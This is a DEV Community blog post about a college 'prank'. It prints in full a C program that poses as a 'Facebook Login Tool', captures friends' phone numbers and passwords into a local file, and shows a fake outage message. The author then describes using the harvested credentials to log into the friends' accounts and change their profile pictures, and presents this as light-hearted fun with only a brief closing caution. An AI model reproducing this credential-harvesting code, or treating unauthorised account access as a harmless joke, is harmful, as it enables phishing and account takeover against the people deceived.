DEV Community

Cover image for C-razy Facebook Hack: How I Pranked My Friend
Boopathi
Boopathi

Posted on • Edited on

24 3 3 3 3

C-razy Facebook Hack: How I Pranked My Friend

It was my first year of college, and we were all working in the Python lab. My friends, who didn’t really know much about computers, seemed like the perfect targets for a harmless prank. They were excited but didn’t have a clue about the technical stuff I was up to. I saw an opportunity to have a little fun, knowing they’d fall for it because they didn’t know much about programming.

The Master Plan

I wanted to play a trick on my friends to show them how powerful C programming is. But it was all just a joke! Here’s how I did it:

Creating the Fake Program: I wrote a simple C program that looked like a Facebook login tool. But it was just a trick. The program would ask for their Facebook username and password, and then say “Facebook is down”!

Playing the Prank: I ran the program in front of my friends, and they typed in their phone numbers and passwords. I acted like I was trying to fix the problem, but I was really trying not to laugh.

The Big Reveal: After my friends left, I opened the file where I had saved their login information. I used it to log into their Facebook accounts and change their profile pictures to something really embarrassing and funny. Even I couldn’t help but laugh!”

The Program

Here’s the mischievous code I used for the prank. Disclaimer: This is for entertainment purposes only!

#include <stdio.h>

int main() {
    char phoneNumber[50];
    char password[50];
    FILE *file;

    // Open the file to store credentials
    file = fopen("credentials.txt", "a");
    if (file == NULL) {
        printf("Error opening file!\n");
        return 1;
    }

    // Ask for user details
    printf("Welcome to the Facebook Login Tool!\n");
    printf("Please enter your phone number: ");
    fgets(phoneNumber, 50, stdin);
    printf("Please enter your password: ");
    fgets(password, 50, stdin);

    // Store the credentials in a file
    fprintf(file, "Phone Number: %s", phoneNumber);
    fprintf(file, "Password: %s", password);

    // Close the file
    fclose(file);

    // Display a fake error message
    printf("Unable to reach Facebook at the moment. Please try again later.\n");

    return 0;
}

Enter fullscreen mode Exit fullscreen mode

What Happened Next

The next day, my friends came to college and told me that their Facebook profiles had been changed to show them in silly costumes or funny pictures. They were shocked and little scared.

They told me that their accounts had been hacked. But after some fun and teasing, I finally told them the truth - that I was the one who had done it as a prank. We all had a good laugh together and the fun came to an end.

The Lesson

Here's the important part: don't do this at home. While my prank was just for fun, playing with people's personal information is not okay. It's important to respect people's privacy and use your coding skills in a good way.

The Main Point

If you want to play a prank, make sure it's harmless and makes everyone smile. Use your coding skills for good things and keep your pranks light-hearted. Remember, there's a line between being funny and being mean online.

Happy coding, and may your pranks be fun and harmless!

Finally, if the article was helpful, please clap 👏and follow, thank you!

Image of AssemblyAI tool

Challenge Submission: SpeechCraft - AI-Powered Speech Analysis for Better Communication

SpeechCraft is an advanced real-time speech analytics platform that transforms spoken words into actionable insights. Using cutting-edge AI technology from AssemblyAI, it provides instant transcription while analyzing multiple dimensions of speech performance.

Read full post

Top comments (4)

Collapse
 
pauljlucas profile image
Paul J. Lucas

This program doesn't show how powerful C is — at all. You could have written such a trivial program in pretty much any language: Python, Bash, whatever.

And it's also not a hack; it's a trojan horse.

Collapse
 
programmerraja profile image
Boopathi

Yeah, @pauljlucas you’re right. But the phrase ‘how powerful C’ is just a prank to trick my friends. We can write this code in any language, but my friends don’t know that since we're in our first year.

Collapse
 
b_b_81945fa7cf0658 profile image
Břőĸëñ Bøý
Collapse
 
b_b_81945fa7cf0658 profile image

Imagine monitoring actually built for developers

Billboard image

Join Vercel, CrowdStrike, and thousands of other teams that trust Checkly to streamline monitor creation and configuration with Monitoring as Code.

Start Monitoring

👋 Kindness is contagious

Explore a sea of insights with this enlightening post, highly esteemed within the nurturing DEV Community. Coders of all stripes are invited to participate and contribute to our shared knowledge.

Expressing gratitude with a simple "thank you" can make a big impact. Leave your thanks in the comments!

On DEV, exchanging ideas smooths our way and strengthens our community bonds. Found this useful? A quick note of thanks to the author can mean a lot.

Okay